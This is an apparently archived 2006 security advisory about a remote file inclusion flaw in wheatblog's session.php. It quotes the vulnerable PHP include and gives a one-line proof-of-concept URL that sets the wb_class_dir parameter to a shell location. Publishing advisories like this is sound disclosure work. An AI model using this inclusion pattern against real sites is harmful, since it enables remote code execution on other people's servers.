wheatblog Session.php Remote File Inclusion

2006-08-21 / 2006-08-22
Credit: Outlaw
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 5.1/10
Impact Subscore: 6.4/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

######################################################################## ################### #Aria-Security.net Advisory # #Discovered by: O.U.T.L.A.W # #< www.Aria-security.net > # #Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll# ######################################################################## ################### <?php include_once("$wb_class_dir/classDatabase.php"); function Start_Session() { global $session_dir; if ( $session_dir != '' ) session_save_path($session_dir); if ( ! isset($_SESSION) ) { session_start(); // Supposedly a fix for IE6 header('Cache-control: private'); My_Cache(); if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) != 'resource') touchDatabaseSession(); } } --------------------------------------- Proof of Concept: www.site.com/includes/session.php?wb_class_dir=SHELL Contact : Outlaw (at) aria-security (dot) net [email concealed]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top